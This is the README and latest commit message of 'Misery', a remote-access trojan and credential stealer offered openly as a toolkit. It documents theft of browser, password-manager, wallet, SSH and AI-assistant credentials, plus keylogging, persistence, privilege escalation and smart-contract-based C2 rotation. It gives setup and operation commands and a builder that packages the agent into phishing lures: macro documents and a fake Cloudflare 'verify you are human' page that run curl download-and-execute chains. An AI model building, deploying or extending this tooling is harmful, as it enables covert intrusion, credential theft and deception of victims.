Files
JYenn-Misery/README.md
T
JYenn 13e6ad7063 EtherHiding C2: resolve the TCP endpoint from a smart contract
The agent resolves its C2 endpoint from a resolver contract on a public
chain via eth_call (free, read-only), so the compiled binary carries no C2
address; rotating the C2 is one contract call and every bot picks up the
new value on next start. Pattern per the 2026 Remus analysis: eth_call
with the get() selector (0x6d4ce63c) against a public JSON-RPC provider,
the endpoint stored as a bytes32 host:port. Any failure falls back to the
compiled endpoint.

- src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode,
  host:port parse, WinHTTP POST with hard timeouts
- agent: resolves before the argv/env override so an explicit endpoint
  still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override
- setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for
  the resolver under TCP; the summary and recreate line carry them
- tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer
  instructions otherwise); contract source included, deployed via Remix
- verified: selectors checked against a real keccak implementation,
  contract compiles with solc 0.8.19, wizard and non-interactive flows
  emit the config end to end, mock RPC positive/negative tests, live
  HTTPS RPC probe degrades gracefully, and the full steal still recovers
  the v20 key through the chain-resolved agent
2026-08-20 22:39:40 +01:00

210 lines
10 KiB
Markdown

# Misery
<p align="center">
<img src="Misery.png" alt="Misery" width="420">
<br>
<em>a devoted sister of the Church of Malware</em>
</p>
**A HVNC remote-access trojan and stealer rebuilt for the App-Bound Encryption era.**
Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked credential decryption behind App-Bound Encryption (ABE), a COM service running as the browser user. The agent spawns a suspended browser and reflectively injects a payload DLL, which walks that COM object in-process so decrypted credentials never touch disk. ABE research is all [xaitax](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption). Local testing and research only.
## Demo
<p align="center">
<img src="demo.gif" alt="Misery demo" width="1000">
</p>
## VirusTotal
<p align="center">
<img src="MiseryVT.png" alt="VirusTotal scan result" width="1000">
</p>
## Features
- 🖥️ **Hidden desktop** (`hvnc start` / `hvnc launch chrome`): GDI apps and a real Chromium on a hidden desktop, streamed live
- 🌐 **Ghosted browser** (`ghost <url>`): hidden Chrome/Edge session using the victim's cookies and logins
- 🔑 **Credential harvesting**: Chrome, Edge, Brave, Opera, Opera GX, Firefox
- 💳 **App-session harvesting**: payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extensions, Signal sessions
- **Password managers** (`password_managers`): LastPass (raw vault capture), Windows Credential Manager, Proton Pass (raw vault capture)
- **Games** (`games`): Minecraft accounts, Roblox cookies, Epic, Battle.net, Riot, Ubisoft, GOG, EA, Rockstar
- **Network clients** (`network_clients`): WinSCP, PuTTY, mRemoteNG, MobaXterm, OpenVPN
- **AI assistants** (`ai_assistants`): Claude Desktop, OpenAI Codex, Gemini CLI, opencode
- 🔐 **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN
- 🧊 **EtherHiding C2**: the TCP endpoint resolves from a smart contract on a public chain, so the binary carries no C2 address; rotate the C2 by calling the contract
- 📦 **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, `-p` wrappers for 9 delivery formats
- ⌨️ **Keylogger and clipboard monitoring**
- 🪝 **Persistence**: user-registry Run key and WMI event subscriptions
- 🕵️ **Anti-analysis**: user-mode environment checks, reflective injection
## How it works
- 🔐 **Channel**: the console holds the private half of an ECDH P-256 keypair in `.misery_key`; the agent only ever ships the public half. Every session derives a fresh AES-256-GCM key from the handshake, so no key material repeats across bots.
- 💉 **Stealing**: the v20 master key comes from the COM IElevator service, called inside a suspended, freshly spawned browser via reflective payload injection so the process-path check passes. The offline agent falls back to the DPAPI v10 key. No disk write, and the browser never visibly opens.
- 🖥️ **HVNC**: GDI apps run on a hidden desktop and stream frames to the operator view. Ghosted sessions drive a real Chromium over the Chrome DevTools Protocol, logged into the victim's profiles; the browser is basically them.
- ⬆️ **Elevation**: relaunch as admin via a forged PEB (process environment block) and COM auto-elevation (CMSTPLUA/ICMLuaUtil), then SYSTEM through SeDebug token theft from a non-PPL process.
## Tested On
| Target | Version |
|---|---|
| Google Chrome | `151.0.7922.140` |
| Microsoft Edge | `151.0.4129.59` |
| Elevation chain | Windows 11 25H2 (build 26200) |
## Quick start
`setup.py` writes `src/config.h`, saves the console's ECDH key to `.misery_key`, and builds the project:
```powershell
python setup.py -g # interactive
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -o agent # non-interactive
```
Run the console listener, then the agent:
```powershell
.\build\console.exe
.\build\agent.exe
```
Type `help` in the console for the full command list.
## CDN mode
Same console and commands, no public IP. The agent POSTs encrypted frames to a
Cloudflare Worker that relays through a Zero Trust Tunnel to the console.
```powershell
python setup.py -t https_cdn BEACON_URL=https://<you>.workers.dev/poll AUTH_SECRET=<secret> TUNNEL_HOST=c2.example.com
```
setup.py emits `deploy/worker.js` and `deploy/cloudflared-config.yml`. Deploy
the worker with `wrangler deploy deploy/worker.js`, fill the tunnel UUID into
the config, `cloudflared tunnel run <name>`.
## EtherHiding C2
The agent can resolve its TCP endpoint from a smart contract on a public chain
(`eth_call`, free and read-only), so the compiled binary carries no C2 address.
Rotate the C2 by updating the contract; every bot picks up the new value on
its next start. A dead RPC or decode failure falls back to the compiled
endpoint.
1. Deploy the resolver once in Remix or on the chain explorer (contract source
is in `tools/etherhiding.py`).
2. Store the endpoint, and read it back:
```powershell
python tools\etherhiding.py update --contract 0x... --value 10.2.0.2:4444 --key <privkey>
python tools\etherhiding.py read --contract 0x...
```
3. Build with the resolver wired in; the wizard asks for it under TCP, or pass
it directly:
```powershell
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 CHAIN_CONTRACT=0x... CHAIN_RPC=https://cloudflare-eth.com
```
The value is a `bytes32` `host:port`, 31 chars max. `HVNC_CHAIN_RPC` /
`HVNC_CHAIN_CONTRACT` env vars override both at runtime; an explicit agent
`argv` endpoint overrides the chain.
## Payload wrappers
The builder (`setup.py -p <formats>`) packages the agent into delivery
filetypes in `dist/` and records each one in `<out>.manifest.json` with its
sha256 and size. `python setup.py --list-formats` prints the current list with
dependencies.
- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run from a compiled base (`wrappers_bases/docm_base.docm`)
- `xlsm` - Excel macro workbook; `Workbook_Open` shells the same chain from a compiled base (`wrappers_bases/xlsm_base.xlsm`); runtime values live in a hidden `cfg` sheet
- `lnk` - shortcut plus companion `.cmd`; the LNK probes Downloads/Desktop for the `.cmd`, which opens a decoy PDF then fetches and runs the agent (the chain lives in the `.cmd` because Defender's FastPath flags any LNK-launched curl download cmdline)
- `pdf` - agent embedded as a PDF attachment, launched on open
- `html` - OneDrive-style page; the agent hides in a zip blob behind a button click
- `clickfix_html` - fake Cloudflare "Verify you are human" page; checking the box copies a cmd/curl download-and-run command to the clipboard and shows the Win+R / Ctrl+V / Enter steps
- `iso` - ISO with the agent inside, sidesteps MOTW
- `polyglot_exe_zip` - runs as an exe, opens as a zip holding a `document.pdf.lnk` and its companion `.cmd`
- `polyglot_html` - runs as an exe, shows a decoy page in a browser
```powershell
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -p docm,iso -o misery STAGE_URL=http://127.0.0.1:8080/misery.exe
```
`-p all` builds every format. The macro, lnk, clickfix, and polyglot_exe_zip
formats fetch the agent from `STAGE_URL` when the target opens them; pdf, html,
iso, and polyglot_html carry the agent themselves.
Delivery notes:
- The docm/xlsm bases are compiled by Office itself; pyopenvba-style rebuilds write source-only streams whose auto-events never hook (root-caused live 2026-08). Builds inject only the stage URL and agent filename, so no macro stream is ever rewritten.
- The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as `STAGE_URL`; host the generated `<out>.cmd` and `<out>.decoy.pdf` next to the agent.
- Downloaded files get the Mark-of-the-Web, which trips SmartScreen on macros and executables. Extract a container with 7-Zip or WinRAR to drop it. That's the route for macro and exe formats; pdf and html serve fine straight from a browser.
- Optional libs; a missing one just skips its formats: `pip install pylnk3 pycdlib pikepdf python-docx openpyxl`
The docm/xlsm bases live in `wrappers_bases/` and ship with the repo; rebuild
them in Office if you ever change the macro logic (see the wrapper docstring
notes), then commit the new base.
## Commands
| Command | What it does |
| --- | --- |
| `bot` | list bots; `bot <id>` targets one, `bot all` broadcasts |
| `steal` | run credential and session harvesting |
| `loot` / `dump` | replay the last steal result as boxed terminal sections |
| `elevate [system]` | relaunch the agent as admin; `system` chains to SYSTEM |
| `hvnc start` / `hvnc stop` | start or stop the hidden desktop session |
| `hvnc launch [path]` | launch an app (default Chrome) on the hidden desktop |
| `hvnc quality [10-100]` | set streamed frame JPEG quality |
| `ghost <url>` | open a URL in a ghosted hidden browser |
| `ghost nav <url>` | navigate the ghost browser |
| `ghost stop` | stop the ghost session |
| `keylog` | toggle the keylogger |
| `clip` | read the victim's clipboard |
| `shell / ps <cmd>` | run a hidden PowerShell one-liner on the agent |
| `history` | show command history |
| `clear` / `exit` | clear the terminal / quit |
## Build
Requires `cmake` and a C++ toolchain (MSVC, MinGW, or Clang).
MSVC:
```powershell
cmake -S . -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
```
MinGW:
```powershell
cmake -S . -B build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release
cmake --build build -j 4
```
A fresh checkout builds against `127.0.0.1:4444`. Run `setup.py` once so `.misery_key` exists.
## Layout
- `src/agent`: entry, C2 client, injector, persistence
- `src/console`: operator console + listener
- `src/payload`: payload DLL, reflective loader, trampoline
- `src/stealer`: Misery-derived sources
- `src/hvnc`: hidden-desktop session
- `src/ghost`: ghosted browser session
- `src/browser`: CDP client (Page/Input over WebSocket)
- `src/rat`: keylogger + clipboard
- `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
- `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers
- `tools/`: operator helpers (EtherHiding resolver read/update)
- `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers
- `build/`: out-of-source build dir
## Licence
No licence granted. Research code for study only; not licensed for redistribution or commercial use.